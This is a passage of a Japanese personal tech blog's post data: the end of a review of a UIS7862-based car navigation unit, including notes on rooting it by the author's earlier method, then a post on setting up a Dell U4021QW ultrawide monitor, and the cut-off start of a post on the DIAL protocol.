SC9853i搭載の中華ナビを販売していた[露Teyes](https://teyes24.ru/)も、昨年後半あたりからUIS7862搭載のものにモデルチェンジしています。\n\n<a href=\"https://ja.aliexpress.com/item/1005001644452156.html\" target=\"_blank\"><img src=\"https://ae01.alicdn.com/kf/H789bda35b5a344f2a1d2d5fe3db7679f0.jpg_350x350.jpg\" /></a>\n\n他にもUIS7862搭載の中華ナビは増えつつあり、中華ナビにおけるSoCの動きが気になるところです。\n\n## 本体の外観と変更点\n\n新モデルは旧モデルとほとんど外観に変わりがなく、SoCを中心とした内部のアップグレードだけかと錯覚してしまうくらい。\nなので外観に関しては[旧モデルの記事](../2020/2020-09-07-joying-car-navigation-prius-zvw30.md#開封と外観の確認)を参照してもらうとして、一箇所だけ目視できた変更点だけを載せておきます。\n\n新モデルでは、光デジタル音声出力が搭載され、背面ポートに変更がありました。見つけられた外観の変更点はこれくらい。\n\n\n\n## 動作の確認\n\n全体的にUSBデバイスの認識が悪くなっているようで、イーサネットアダプタを繋いでのネットワーク接続がとても不安定です。\n無線は使えない状態にしてあるので、唯一のネットワーク接続がUSB接続に限られ、電源ON/OFFの繰り返しを余儀なくされています。\n\nそんな正しく動いているかわからない状態ですが、旧モデルと比較しました。\n旧モデルのスクリーンショットを後に小さく表示しています。\n\n### ホーム画面\n\n\n<img alt=\"homescreen.png\" width=\"640\" style=\"width: 75%\" src=\"/assets/images/2020/09/07/homescreen.png\" />\n\n同じです。\n\n\n<img alt=\"app-list.png\" width=\"640\" style=\"width: 75%\" src=\"/assets/images/2020/09/07/app-list.png\" />\n\n\n<img alt=\"app-list2.png\" width=\"640\" style=\"width: 75%\" src=\"/assets/images/2020/09/07/app-list2.png\" />\n\n搭載アプリではApple CarPlayを実行するアプリがZLINKからCar Linkに変わり、新たにEasyConnectionが増えています。\n\n### 設定画面\n\n\n<img alt=\"settings.png\" width=\"640\" style=\"width: 75%\" src=\"/assets/images/2020/09/07/settings.png\" />\n\nほとんど同じ。「いパン設定」が「一般設定」に修正されています。\n\n#### デバイス情報\n\n\n<img alt=\"device-info.png\" width=\"640\" style=\"width: 75%\" src=\"/assets/images/2020/09/07/device-info.png\" />\n\nスペックの違いが現れています。\n\n他の設定項目も、大きく変わりはない様子。\n\n### Apple CarPlay\n\nApple CarPlayは搭載アプリが変わったものの、基本的な使い方に変更はないようです。\nCar Linkを起動してUSB - LightningケーブルでiPhone 11 Proを接続したところ、これもあっけなくCarPlayを利用できました。\n\n接続を許可するとナビの画面はCarPlayの表示に切り替わりました。\nCarPlayを終了するアイコンが「返す」なのが趣があって良いですね。\n\n\n\n### Google Playストア\n\n今回もPlayストアが入っているため、たいていのアプリはそのままインストールできます。\n見た目上は比較するものもなく、挙動にも旧モデルとの違いは感じられないため、スクリーンショットは割愛。\n表示が気になる場合は[旧モデルの記事](../2020/2020-09-07-joying-car-navigation-prius-zvw30.md#Google%20Playストア)を参照ください。\n\n旧モデルで唯一、あると便利だと思っていたものの入れられなかった「Yahoo!カーナビ」が今回の新モデルではインストールできました。\n\n\n\n\nインストールして動作を確認できたアプリをリストとして挙げておきます。\n\n- [AGAMA Car Launcher](https://play.google.com/store/apps/details?id=altergames.carlauncher&hl=ja)\n- [ABEMA](https://play.google.com/store/apps/details?id=tv.abema&hl=ja)\n- [Yahoo!カーナビ](https://play.google.com/store/apps/details?hl=ja&id=jp.co.yahoo.android.apps.navi)\n- [Pokémon GO](https://play.google.com/store/apps/details?id=com.nianticlabs.pokemongo&hl=ja)\n- [Amazonプライム・ビデオ](https://play.google.com/store/apps/details?id=com.amazon.avod.thirdpartyclient&hl=ja)\n\nなお、Netflixはコンテンツ保護のためのWidevineモジュールが搭載されていないため、インストールできませんでした。\n\n\n\n### ベンチマーク\n\n[Geekbench 5 - Google Play のアプリ](https://play.google.com/store/apps/details?id=com.primatelabs.geekbench5&hl=ja)\n\nみんな大好きベンチマーク。今回もGeekbench 5でベンチマークを取ってみました。バージョンが少し違いますが、旧モデルの結果を小さく後に載せています。\n\n\n<img alt=\"geekbench.png\" width=\"640\" style=\"width: 75%\" src=\"/assets/images/2020/09/07/geekbench.png\" />\n\n旧モデルからの数値上の増強は、2倍強となっています。\n\nついでに旧モデルでは無理だったAntutuベンチーマークが今回は完走したため、結果を貼っておきます。\n\n\n\n## Root化\n\nみんな大好きroot化。旧モデルの時はアップデートファイルの解析をしてroot化しました。\n\n::PostLink{slug=\"rooting-joying-sp9853i-carnavi\"}\n\n結果から言うと、今回も前回と同様にしてroot化できました。\n\n軽く解析してすぐ同じ手法でroot化にアプローチできることがわかりました。\nアーキテクチャの変更によってアップデートアーカイブに含まれる実行ファイル等の名前が変わっていますが、基本は同じ手順でできました。\n\nリネームされている変更点を下表に示します。\n\n種類 | 旧モデル | **新モデル**\n---|---|---\nアーカイブ名 | 6521\\_1.zip | 6315\\_1.zip\n実行ファイル名 | lsec6521update | lsec6315update\nスクリプト名 | lsec_updatesh/lsec.sh | lsec_updatesh/7862lsec.sh\n\nこれに加えて、bootパーティションが `/dev/block/platform/soc/soc:ap-ahb/c0c00000.sdio/by-name/boot` から `/dev/block/platform/soc/soc:ap-apb/71400000.sdio/by-name/boot` に変更になっているのを合わせれば、今回のモデルでもroot化に到ることができます。\n\n興味がある方は**お約束の自己責任**で、過去記事の手順を上記の値の通り読み替えて挑戦してみてください。\n\n## まとめ\n\n色々と興味深い点が多いし調査が楽しいので中華ナビ集めでもしようかな。\n"]}],[0,{"slug":[0,"2021/06/04/dell-u4021qw-5k2k-monitor/"],"data":[0,{"title":[0,"Dell U4021QW 5K2Kモニターを買って周辺をカスタマイズした"],"date":[3,"2021-06-04T01:00:00.000Z"],"image":[0,"/assets/images/2021/06/04/setup.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Display"]]],"tags":[1,[[0,"5k"],[0,"ips"],[0,"hardware"],[0,"monitor"]]]}],"content":[0,"\nかれこれ5年間、42インチの4Kディスプレイを使ってきた。パネルやDPIに強いこだわりがあり、2015年当時には物珍しかった42インチでIPSパネルの4KディスプレイをわざわざeBayで購入していた。\n\n在宅ワークが増え、ここ1年半は毎日のように活躍してくれている。ただ、少しばかり不満と欲が出てきたため、5K2Kモニターを新たに購入した。\n\n\n<Notice type=\"info\">\nこの記事には「ディスプレイ」「モニター」などの表記ゆれがあります。\n</Notice>\n\n## 目次\n\n## 42インチ4Kディスプレイに浮かぶ不満と欲\n::PostLink{slug=\"42inch-4k-display\"}\n\n42インチ4Kディスプレイは[5年前に](../2016/2016-01-10-42inch-4k-display.md)こだわり抜いて購入した。そのため、大きな不満は抱えていなかったが、長い間使っていくうちに徐々に不満が生まれてきた。\n続々と発売される高解像度モニター製品がモダンな仕様で登場する中、時代に取り残されたままのレガシーになっていくのを指を加えて見ている状態がだんだん耐えられなくなってきたのだ。\n\n### 欲しいもの: 5K解像度\n4K一枚じゃ情報が足りなくなったのでそれ以上が欲しい。\nFullHDを横にくっつけてみたりもしたが、個人的に一枚にまとまっている方が見やすいので取り外してしまった。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">42型4Kディスプレイと25型FullHD縦置き、優勝でしかない <a href=\"https://t.co/6NQglEound\">pic.twitter.com/6NQglEound</a></p>&mdash; 🌊 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/822819574865272832?ref_src=twsrc%5Etfw\">January 21, 2017</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n4Kでは情報不足だし横に画面を足しても収まりが悪いので、5Kクラスのものが欲しいとなった。\n\n### 欲しいもの: ウルトラワイドモニター\nワイドはかっこいい。ロマンに溢れている。\n地デジで映像が4:3から16:9ワイドになった時に感じた近未来感のようなものが、21:9や32:9には秘められている。\nその神秘に取り憑かれ、小さいながらも14インチの32:9ウルトラワイドモニターを*複数枚*購入してしまったくらいだ。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">Twitter専用液晶ディスプレイ届いた☺️ <a href=\"https://t.co/hTa8aFQGgq\">pic.twitter.com/hTa8aFQGgq</a></p>&mdash; 🌊 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1339108637701070849?ref_src=twsrc%5Etfw\">December 16, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nただ、ウルトラワイドモニターは横がワイドであれば縦はおざなりでも大丈夫と言わんばかりに、最大でも縦解像度が1440pxと狭い製品がほとんどだ。\n仕事も趣味もコーディングを主とする利用目的から、現在の3840x2160より縦解像度を減らすわけにはいかないため、候補に上がる製品があまりなかった。\n2020年中に買い換えようと少し検討した唯一の製品として、MSIのPRESTIGE-PS341WUがあったくらいで他に選択肢は皆無だった。\n\n<a href=\"https://www.amazon.co.jp/MSI-34%E5%9E%8B%E6%B6%B2%E6%99%B6%E3%83%87%E3%82%A3%E3%82%B9%E3%83%97%E3%83%AC%E3%82%A4-PRESTIGE-PS341WU/dp/B082VZWTGG?&linkCode=li3&tag=mzyy-22&linkId=49d6e7b8ba1925a815ca3ee709f6959e&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B082VZWTGG&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon \\| MSI 34型液晶ディスプレイ PRESTIGE-PS341WU \\| MSI \\| ディスプレイ 通販](https://www.amazon.co.jp/MSI-34%E5%9E%8B%E6%B6%B2%E6%99%B6%E3%83%87%E3%82%A3%E3%82%B9%E3%83%97%E3%83%AC%E3%82%A4-PRESTIGE-PS341WU/dp/B082VZWTGG?&linkCode=ll1&tag=mzyy-22&linkId=aa035f8b30e13b8b56e949eb93361846&language=ja_JP&ref_=as_li_ss_tl)\n\n\n### 欲しいもの: 曲面パネル\n42インチのPCモニターを5年間、毎日のように利用していると、画面端を見るときに疲れを感じるようになってきた。\n目先60cmの距離にそびえ立つ横幅が100cmに迫る平面のパネルの画面端を見る時、中心と端では目とパネルの距離に15cm以上の差がある。\n\nこの差に敏感な人をターゲットにした製品が曲面パネル搭載モニター。長時間使ったことがないので効果の程は知らないが、次にモニターを買うなら曲面パネルと決めていた。\n\nMSIのPRESTIGE-PS341WUは平面パネルのため、ここで候補から外れてしまった。\n\n### 欲しいもの: Thunderbolt接続\n仕事で使っているMacBook Proを在宅ワークの時はモニターに出力するのだが、これまではType-C DisplayPort変換ケーブルで出力していた。\nこれに加え、充電用にもう一本Type-Cケーブルを接続する必要があり、出社が当たり前だった頃はケーブルの抜き差しが煩わしかった。\nそれらのケーブルを接続した状態のMacBook Proを冷却も兼ねて棚に置いて仕事をするのだが、接続したYubiKeyをタップするために棚に手を伸ばすのも億劫だった。\n\nこの悩み全部一本のケーブルで解消ができるモニターがずばり、USB PD給電とDisplayPort Alternate Mode対応のUSBハブ機能付きThunderboltディスプレイである。\n\n## 要求を満たすDell U4021QW\nこれらの求める条件を満たすモニターが今年初めにDellから発売された。\n\n[Dellデジタル ハイエンド シリーズ40インチ曲面WUHDモニター:U4021QW \\| Dell 日本](https://www.dell.com/ja-jp/shop/dell-u4021qw-397%E3%82%A4%E3%83%B3%E3%83%81%E3%83%AF%E3%82%A4%E3%83%89%E3%83%A2%E3%83%8B%E3%82%BF%E3%83%BC5k2k-%E6%9B%B2%E9%9D%A2-21-9-ips%E9%9D%9E%E5%85%89%E6%B2%A2-usb-ctbhdmix2dprj45-%E9%AB%98%E3%81%95%E8%AA%BF%E6%95%B4/apd/210-aypy/%E3%83%A2%E3%83%8B%E3%82%BF%E3%83%BC-%E3%83%A2%E3%83%8B%E3%82%BF%E3%83%BC%E3%82%A2%E3%82%AF%E3%82%BB%E3%82%B5%E3%83%AA%E3%83%BC)\n\n<a href=\"https://www.amazon.co.jp/dp/B08TBJ4YTM?&linkCode=li3&tag=mzyy-22&linkId=df4a52916bdbd53e55b6ad0bf41c520f&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B08TBJ4YTM&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon \\| Dell 曲面モニター 39.7インチ U4021QW(3年間無輝点交換保証/sRGB 100%,Rec.709 100%,DCI-P3 98%/フレームレス/USB-C/LANポート(RJ45)/WUHD/5K2K/IPS非光沢/Thunderbolt™ 3,DP,HDMIx2/高さ調節/スピーカー付) \\| Dell \\| パソコン・周辺機器 通販](https://www.amazon.co.jp/dp/B08TBJ4YTM?&linkCode=ll1&tag=mzyy-22&linkId=01d23c2df2c484388e175af6477165b0&language=ja_JP&ref_=as_li_ss_tl)\n\n主な仕様を抜粋すると以下の通りとなる。\n\n> - **機器タイプ** : LEDバックライト付液晶モニター - 39.7\"\n> - **カーブスクリーン** : 対応\n> - **パネルタイプ** : IPS\n> - **アスペクト比** : 21:9\n> - **実効解像度** : WUHD 5120 x 2160 @ 60 Hz\n> - **輝度** : 300 cd/m²\n> - **コントラスト比** : 1000:1\n> - **応答時間** : 8 ms (GtoG 典型); 5 ms (GtoG高速)\n> - **最大表示色** : 10.7億色\n> - **入力コネクタ** : 2xHDMI, DisplayPort, Thunderbolt 3\n> - **スクリーンコーティング** : Anti-glare 3H hardness\n> - スタンド含む - 幅: 94.66 cm - 深さ: 24.8 cm - 高さ: 45.78 cm - 重量: 13.8 kg\n> - スタンド除く - 重量: 9.5 kg\n>\n> ---\n> - USB-C 3.2 Gen 2 upstream (DisplayPort 1.4 mode / power up to 90W)\n> - USB-C 3.2 Gen 2 downstream (最大出力15W)\n> - USBアップストリーム (タイプB)\n> - USB 3.2 Gen 2 x 4\n> - USB 3.2 Gen 2 downstream with Battery Charging 1.2\n> - オーディオラインアウト\n> - ネットワーク (RJ-45)\n\n引用元: [Dell デジタルハイエンドシリーズ U4021QW 40インチワイド曲面USB-C HUB モニタ- \\| dell e-catalog](https://japancatalog.dell.com/pd/U4021QW.html)\n\n\n2021年のトレンドになること間違いなしと感じたため、各社追従するかと数ヶ月動向を見守っていた。同時期にほぼ同じ5K2K仕様でLGが[40WP95C](https://www.lgnewsroom.com/2021/01/enhanced-and-upgraded-for-2021-lgs-newest-ultra-series-monitors-exceed-all-expectations/)を発表したが、いつまで経っても発売される気配がないため、Dell U4021QWを購入した。\n4月に注文して待つこと1ヶ月強。5月末に到着した。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">𝑚𝑦 𝑛𝑒𝑤 𝑔𝑒𝑎𝑟 <a href=\"https://t.co/4Ubqs3H4wV\">pic.twitter.com/4Ubqs3H4wV</a></p>&mdash; 🌊 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1399412638652669954?ref_src=twsrc%5Etfw\">May 31, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nこれまで42インチの4Kディスプレイを日々使っていたこともあってデカさ感覚が麻痺しているが、箱の横幅は1mを超える大きさだ。\n比較用にDualSenseワイヤレスコントローラーを置いてみたが、一人で玄関から箱を搬入するのにすら苦労した。\n\n\n\n## 周辺のカスタマイズ\n\n設置する前に便利な機能をモニターに追加した。\n\n### モニターアーム\n\nかれこれ10年使っているが、いまだに壊れる気配のないサンコーの[3軸式くねくねモニターアーム](https://www.amazon.co.jp/%E3%82%B5%E3%83%B3%E3%82%B3%E3%83%BC-MARMGUS191B-3%E8%BB%B8%E5%BC%8F%E3%81%8F%E3%81%AD%E3%81%8F%E3%81%AD%E3%83%A2%E3%83%8B%E3%82%BF%E3%83%BC%E3%82%A2%E3%83%BC%E3%83%A0/dp/B003LKJST0?&linkCode=ll1&tag=mzyy-22&linkId=bb5c57f29f11ee614bfd03ff2963ee32&language=ja_JP&ref_=as_li_ss_tl)を取り付け、モニター下に空間を設けた。\n設置後は上下左右に動かすことは皆無だが、[Amazon Basicのモニターアーム](https://www.amazon.co.jp/Amazon%E3%83%99%E3%83%BC%E3%82%B7%E3%83%83%E3%82%AF-%E3%83%A2%E3%83%8B%E3%82%BF%E3%83%BC%E3%82%A2%E3%83%BC%E3%83%A0-%E3%82%B7%E3%83%B3%E3%82%B0%E3%83%AB-%E3%83%A2%E3%83%8B%E3%82%BF%E3%83%BC%E3%82%B5%E3%82%A4%E3%82%BA-32%E3%82%A4%E3%83%B3%E3%83%81%E3%81%BE%E3%81%A7/dp/B00MIBN16O?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&dchild=1&keywords=Amazon+Basic%E3%81%AE%E3%83%A2%E3%83%8B%E3%82%BF%E3%83%BC%E3%82%A2%E3%83%BC%E3%83%A0&qid=1622753567&s=computers&sr=1-4&linkCode=ll1&tag=mzyy-22&linkId=25ff4501bd95a0e74bc526f94425ea51&language=ja_JP&ref_=as_li_ss_tl)が動きも良く費用対効果に優れていると聞いたので次はこれにする。\n\n\n<Notice type=\"tip\">\n**追記(2021/06/05)** 3軸式くねくねモニターアームの耐荷重は10kgまでとなっており、Dell U4021QWだけであれば9.5kgまででギリギリセーフだが、後述するMac miniをマウントするとオーバーしていたことが後からわかった。近々買い替える予定。\n</Notice>\n\n<a href=\"https://www.amazon.co.jp/%E3%82%B5%E3%83%B3%E3%82%B3%E3%83%BC-MARMGUS191B-3%E8%BB%B8%E5%BC%8F%E3%81%8F%E3%81%AD%E3%81%8F%E3%81%AD%E3%83%A2%E3%83%8B%E3%82%BF%E3%83%BC%E3%82%A2%E3%83%BC%E3%83%A0/dp/B003LKJST0?&linkCode=li3&tag=mzyy-22&linkId=279c93860dc527bd9ff84b9213952241&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B003LKJST0&Format=_SL250_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon \\| サンコー 3軸式くねくねモニターアーム MARMGUS191B \\| サンコー(Sanko) \\| モニタアーム&スタンド 通販](https://www.amazon.co.jp/%E3%82%B5%E3%83%B3%E3%82%B3%E3%83%BC-MARMGUS191B-3%E8%BB%B8%E5%BC%8F%E3%81%8F%E3%81%AD%E3%81%8F%E3%81%AD%E3%83%A2%E3%83%8B%E3%82%BF%E3%83%BC%E3%82%A2%E3%83%BC%E3%83%A0/dp/B003LKJST0?&linkCode=ll1&tag=mzyy-22&linkId=bb5c57f29f11ee614bfd03ff2963ee32&language=ja_JP&ref_=as_li_ss_tl)\n\n\n### Mac mini VESAマウント\n\nモニターに繋げる機器として、主に仕事用にMacBook Pro、趣味のためにM1 Mac miniを接続している。\nこのMac miniが邪魔なので、モニターの背面にMac miniを取り付けて机を広く活用したい。\nそのために2つ機材を揃えた。\n\n一つはVESA規格のマウントホールを追加するブラケット。Amazonで探すといくつか見つかるが、6角スペーサーが付属し嵩上げできるHumanCentric製のものを購入した。\nDellのモニターはワンタッチスタンドに対応するためにVESAマウントホールが窪んだ位置にあるので、嵩上げをしないと取り付けられないので消去法でこれになった。\n強度のあるスペーサーを用意するのが手間でなければ、どの製品でも取り付けられるはず。\n\n<a href=\"https://www.amazon.co.jp/HumanCentric-%E3%83%9E%E3%82%A6%E3%83%B3%E3%83%88%E3%83%96%E3%83%A9%E3%82%B1%E3%83%83%E3%83%88-%E3%82%A4%E3%83%B3%E3%83%86%E3%83%AB-VESA%E3%83%A2%E3%83%8B%E3%82%BF%E3%83%BC%E3%82%A2%E3%83%BC%E3%83%A0%E6%8B%A1%E5%BC%B5%E3%83%97%E3%83%AC%E3%83%BC%E3%83%88%E5%AF%BE%E5%BF%9C-%E3%82%B3%E3%83%B3%E3%83%94%E3%83%A5%E3%83%BC%E3%82%BF/dp/B07KB4YWQS?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&dchild=1&keywords=vesa+%E3%83%96%E3%83%A9%E3%82%B1%E3%83%83%E3%83%88&qid=1622749825&s=computers&sr=1-4&linkCode=li3&tag=mzyy-22&linkId=a6078dedd3c8e03c929840e7d034c24a&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07KB4YWQS&Format=_SL250_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon \\| HumanCentric (ヒューマンセントリック) マウンティングブラケット インテルNUC対応 VESAモニターアーム延長プレート NUCミニPCコンピュータ対応 \\| HumanCentric \\| モニタアーム&スタンド 通販](https://www.amazon.co.jp/HumanCentric-%E3%83%9E%E3%82%A6%E3%83%B3%E3%83%88%E3%83%96%E3%83%A9%E3%82%B1%E3%83%83%E3%83%88-%E3%82%A4%E3%83%B3%E3%83%86%E3%83%AB-VESA%E3%83%A2%E3%83%8B%E3%82%BF%E3%83%BC%E3%82%A2%E3%83%BC%E3%83%A0%E6%8B%A1%E5%BC%B5%E3%83%97%E3%83%AC%E3%83%BC%E3%83%88%E5%AF%BE%E5%BF%9C-%E3%82%B3%E3%83%B3%E3%83%94%E3%83%A5%E3%83%BC%E3%82%BF/dp/B07KB4YWQS?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&dchild=1&keywords=vesa+%E3%83%96%E3%83%A9%E3%82%B1%E3%83%83%E3%83%88&qid=1622749825&s=computers&sr=1-4&linkCode=sl1&tag=mzyy-22&linkId=1d419ff748002db6349a2fc1c32aa2f1&language=ja_JP&ref_=as_li_ss_tl)\n\n\nもう一つはブラケットで増設したVESAマウントホールにMac miniを背面マウントするマウンタ。\n今回取り付けるモニターアームとの干渉を避けるべく、寸法が記載されていて干渉しないと推定できるものを世界中探し回り、米Amazonで以下の商品を購入した。\nアームの種類によっては、ブラケットと同じ[HumanCentric製のマウンタ](https://www.amazon.co.jp/HumanCentric-Mac-Mini%E3%83%9E%E3%82%A6%E3%83%B3%E3%83%88-Mini%E5%B0%82%E7%94%A8%E3%83%9E%E3%82%A6%E3%83%B3%E3%83%88%E3%80%81VESA%E5%AF%BE%E5%BF%9C%E3%80%81%E5%A3%81%E6%8E%9B%E3%81%91%E3%80%81%E3%83%87%E3%82%B9%E3%82%AF%E4%B8%8B-%E7%89%B9%E8%A8%B1%E5%87%BA%E9%A1%98%E4%B8%AD/dp/B0717152XT?dchild=1&keywords=HumanCentric&qid=1622752202&sr=8-2-spons&psc=1&smid=A1W9KEYYFOZSTE&spLa=ZW5jcnlwdGVkUXVhbGlmaWVyPUEzS1E1NUVEVU5TTTFFJmVuY3J5cHRlZElkPUEwMTE4MDA3VEpZNkREWDJOVUNPJmVuY3J5cHRlZEFkSWQ9QUtCV0s2VkpYUjJZSyZ3aWRnZXROYW1lPXNwX2F0ZiZhY3Rpb249Y2xpY2tSZWRpcmVjdCZkb05vdExvZ0NsaWNrPXRydWU%3D&linkCode=ll1&tag=mzyy-22&linkId=38c804f2a83a56dee129c2860b125fda&language=ja_JP&ref_=as_li_ss_tl)でも干渉しなかったりと選択肢は多い。\n\n<a href=\"https://www.amazon.com/dp/B088SYZJG6?_encoding=UTF8&psc=1&linkCode=li3&tag=mzyy-20&linkId=e3000b9b75c23237f226eb3da04abbe0&language=en_US&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B088SYZJG6&Format=_SL250_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=mzyy-20&language=en_US\" /></a>\n\n[Amazon.com: Jingchengmei Mac Mini Mount - Mount for Mac Mini No Scratches on Your Equipment (MacMiniMount, Black): Electronics](https://www.amazon.com/dp/B088SYZJG6?_encoding=UTF8&psc=1&linkCode=sl1&tag=mzyy-20&linkId=26d8d6c23371d10c4329adb4cfcd01f8&language=en_US&ref_=as_li_ss_tl)\n\nこれらブラケットとマウンタに加えモニターアームを取り付けたのがこちら。\n下からモニター・ブラケット・モニターアーム・マウンタの順にネジが締まっている。\n\n\n\n左右を間違えたため、このあと逆向きに付け直してMac miniをマウントし、電源ケーブルとハブ用USBケーブルとType-C DisplayPort変換ケーブルを接続した。\n\n\n\n### ケーブルホルダー\n\nDell U4021QWにはUSBハブ機能がついており、USB 3.2 Gen 2 Type-Aが4ポートある。\nそのうち3つがモニター背面に備えられているが、背面であるが故に抜き差しを頻繁に行うのは難しい。\n製品ページの触れ込みではKVM(キーボード、ビデオ、マウス)を目的として用意されているようなので、頻繁な抜き差しを考慮したものではないようだ。\n\nせっかくのUSB 3.2 Gen 2ポートを使わないのはもったいないので、ここによく使うLightningケーブルとUSB Type-Cケーブルを常時挿しておくことにした。\nそのケーブルをモニター背面にマグネットのケーブルホルダーで貼り付け、必要な時に横からケーブルを取れるようにした。\n\n\n\n縦向きのケーブルがType-C、横向きのケーブルがLightningと、手探りでケーブルの見分けがつくようにした。\n\n<a href=\"https://www.amazon.co.jp/gp/product/B06XBY7C7B?ie=UTF8&psc=1&linkCode=li3&tag=mzyy-22&linkId=0d508724cc29e6735039aa15e14bfa9a&language=ja_JP&ref_=as_li_ss_il\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B06XBY7C7B&Format=_SL250_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon.co.jp: Sinjimoru ケーブルホルダー、iphone type c USBケーブル マグネット収納ボックス 車内 ケーブル 固定 収納 クリップ コード まとめる 整理 クリップ。Magnetic Cable Holder、Black 3PCS: 家電・カメラ](https://www.amazon.co.jp/gp/product/B06XBY7C7B?ie=UTF8&psc=1&linkCode=sl1&tag=mzyy-22&linkId=8cbfcb0469199036dfe8d22ae805373d&language=ja_JP&ref_=as_li_ss_tl)\n\n\n## 設置と使用感\n\n\n横幅はこれまで使っていた4Kディスプレイからほとんど変わらず、カーブがついたおかげで体感できるほどに画面端を見るのが楽になった。\nこの記事を書きながらも、こんなにも曲面パネルって見やすいのかと感動が続いている。\nThunderboltケーブル一本でMacBook Proを着脱できるようになった手軽さは、早くThunderboltモニターを買っておけばと後悔するくらいだ。\n\n以下に数日間仕事と趣味で使ってみてのDell U4021QWならではのよかった点・気になった点をあげていく。\n\n### モニター下部のUSBハブ\nこれはすごいよかった点。\n\n\n\nDell U4021QWにはモニター下部の左寄りにUSB AとUSB Cがそれぞれ1ポートずつある。\nYubiKey 5C NFCをこのUSB Cポートに挿す運用をしてみたところ、これがすごい調子がいい。\n\nまず位置がいい。抜き差しがしやすいので、持ち運ぶYubiKey 5C NFCにとても相性がいい。\n認証時に触れる必要がある時は、キーボードから奥に手を少し伸ばすと届く位置にあるのでストレスフリーで認証できる。\n入力する映像を切り替えるとそれに紐づくポートに自動で接続先が変わるため、仕事終わりに趣味Macに切り替えてもそのままYubiKeyが使える。\n\nモニター下部のUSBハブはまるでYubiKeyを挿すためにあるような感じなので、もうここはYubiKey専用ポートとして使うことにした。\n\n\n### PBPの絶妙なサイズ\nこれも良いなと感じた点。\n\n\n\nPBP(ピクチャー・バイ・ピクチャー)の設定に分割幅が3種類あったのが地味に嬉しかった。\nOSDには50%-50%、25%-75% (75%-25%)、20%-80% (80%-20%)と3つの比率があり、75%は**3840x2160のUHD 4K**、80%は**4096x2160のDCI 4K[^1]**のサイズが出力される。\n映像を扱う目的では、この2つの4K比率が選択できることはとてもありがたい機能だ。\n\n\n\n\n\n[^1]: [4K解像度 - Wikipedia](https://ja.wikipedia.org/wiki/4K%E8%A7%A3%E5%83%8F%E5%BA%A6)\n\n### シネマスコープ映画が画面にフィット\n\nかつての映画はシネマスコープといった2.35:1や2.39:1の比率で上映されているものが多い。\nこのサイズの映像の視聴体験がすこぶるいいことに気づいた。\nNetflixでシネマスコープサイズの映画を見ると、上下の黒帯部分を除いて全画面再生してくれ迫力がすごい。\n\n\n\n引用元: [インセプション - Netflix](https://www.netflix.com/title/70131314)\n\n5120x2160という解像度の縦横比は**21.333:9**、すなわち**2.370:1**である。\nこれは市販されているウルトラワイドモニターの中で、もっとも2.35:1シネマスコープサイズに近い画面比率なのだ。\n\n| 画面サイズ | アスペクト比 | アスペクト比(対1) |\n|:-------------:|:----------:|:-------------------------------------------------------:|\n| 3440x1440 | 21:9 | 2.388:1 |\n| 3840x1080 | 32:9 | 3.555:1 |\n| 3840x1600 | 21:9 | 2.399:1 |\n| 5120x1440 | 32:9 | 3.555:1 |\n| **5120x2160** | **21:9** | **2.370:1** |\n\n\n\nアナモルフィックレンズで撮影した2.35:1の映像もピッタリサイズで視聴できることがわかり、編集作業がとても快適になること間違いなしだ。\n\n::PostLink{slug=\"sirui-35mm-anamorphic-lens\"}\n\n\n## まとめ\n\n時代は5Gではなく5K。\n"]}],[0,{"slug":[0,"2021/08/03/dial-rest-protocol/"],"data":[0,{"title":[0,"DIALというネットワークプロトコル"],"date":[3,"2021-08-03T00:30:00.000Z"],"image":[0,"/assets/images/2021/08/03/dial-launch-demo.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"Network"]]],"tags":[1,[[0,"upnp"],[0,"dial"],[0,"ssdp"],[0,"chromecast"]]]}],"content":[0,"\n\n家庭のネットワークの監視システムからDIALなるプロトコルが暴れていてアラートが飛んできたので調査しました。\n\n## 目次\n\n## 